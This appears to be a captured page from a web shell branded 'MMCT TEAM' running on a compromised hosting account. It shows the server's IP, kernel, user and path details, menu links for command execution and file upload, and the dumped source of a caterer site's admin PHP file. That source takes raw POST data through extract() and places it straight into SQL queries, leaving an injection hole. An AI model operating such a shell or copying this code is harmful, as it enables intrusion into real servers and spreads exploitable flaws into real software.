MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 18.218.38.67
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home2/ppcad7no/pccaterers.in/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/ppcad7no/pccaterers.in/admin/manage_header_menu_color.php
<?php
require_once("../includes/dbsmain.inc.php");
if (isset($_POST['Submit'])) {
@extract($_POST);
			    $sql = "update tbl_site_color set 
				           site_color_menu_color='$site_color_menu_color',
		                   site_color_menu_hover_color='$site_color_menu_hover_color'
						   where 1 and site_color_admin_id='1'";
						   db_query($sql);				
		set_session_msg("Menu color updated successfully !");
		header("Location: manage_header_menu_color.php");
		exit;
    }
	
if (isset($_POST['ChangeDefault'])) {
			    $sql = "update tbl_site_color set 
				           site_color_menu_color='',
		                   site_color_menu_hover_color=''
						   where 1 and site_color_admin_id='1'";
						   db_query($sql);				
		set_session_msg("Menu color change to default successfully !");
		header("Location: manage_header_menu_color.php");
		exit;
    }	
	$result = db_query("select site_color_menu_color,site_color_menu_hover_color from tbl_site_color where 1");
	if ($line_raw = mysqli_fetch_array($result)) {
		@extract($line_raw);
		}
?>
<link href="styles.css" rel="stylesheet" type="text/css">
<script type="text/javascript" src="jscolor.js"></script>
<?php include("top.inc.php");?>
            <table width="100%" border="0" cellspacing="0" cellpadding="0">
              <tr>
                <td id="pageHead"><div id="txtPageHead"> Add/Edit Header Menu Color</div></td>
              </tr>
            </table>
            <div><strong class="msg" style="margin-left:500px; margin-bottom:5px;">
              <?=display_sess_msg()?>
              </strong></div>
            <table width="45%"  border="0" align="center" cellpadding="0" cellspacing="0" class="tableForm" style="border:1px outset #fff; margin-top:5px; margin-bottom:10px;">
                <tr>
                  <td class="tdLabel" style="padding:8px; font-weight:bold;" align="right">Current Menu Color</td>
                   <td class="tdLabel" style="padding:8px;" valign="bottom" align="left"><input type="text" class="color" style="border:none;width:260px; height:25px;" disabled="disabled" value="<?=$line_raw['site_color_menu_color']?>"></td>
                </tr>
				<tr>
                  <td class="tdLabel" style="padding:8px; font-weight:bold;" align="right">Current Menu Hover Color</td>
                   <td class="tdLabel" style="padding:8px;" valign="bottom" align="left"><input type="text" class="color" disabled="disabled" style="border:none;width:260px; height:25px;" value="<?=$line_raw['site_color_menu_hover_color']?>"></td>
                </tr>
                
              </table>
            <form enctype="multipart/form-data" action="" method="post">
              <table width="45%"  border="0" align="center" cellpadding="0" cellspacing="0" class="tableForm" style="border:1px outset #fff; margin-top:45px; padding-top:20px; padding-bottom:20px; margin-bottom:10px;">
			  <tr>
                  <td class="tdLabel" style="padding:4px; font-weight:bold; color:#FF0000" align="center" colspan="2">&raquo; Click on textbox to open the color picker.</td>
                   
                </tr>
				
                <tr>
                  <td class="tdLabel" style="padding:8px; font-weight:bold;" align="right">Select Menu Color</td>
                   <td class="tdLabel" style="padding:8px;" valign="bottom" align="left"><input type="color" name="site_color_menu_color" style="width:260px; height:25px;"></td>
                </tr>
				<tr>
                  <td class="tdLabel" style="padding:8px; font-weight:bold;" align="right">Select Menu Hover Color</td>
                   <td class="tdLabel" style="padding:8px;" valign="bottom" align="left"><input type="color" name="site_color_menu_hover_color" style="width:260px; height:25px;"></td>
                </tr>
                <tr>
                  <td class="tdLabel" colspan="2" style="padding:8px;">
				  <span style="margin-left:185px;"><input type="submit" name="Submit" style="width:100px; font-weight:bold; font-size:13px; height:29px;"></span>
				  <span style="margin-left:10px;"><input type="submit" name="ChangeDefault" value="Set as default" style="width:145px; font-weight:bold; font-size:13px; height:29px;"></span>
                  </td>
                </tr>
              </table>
            </form>
            <?php include("bottom.inc.php");?>

MMCT - 2023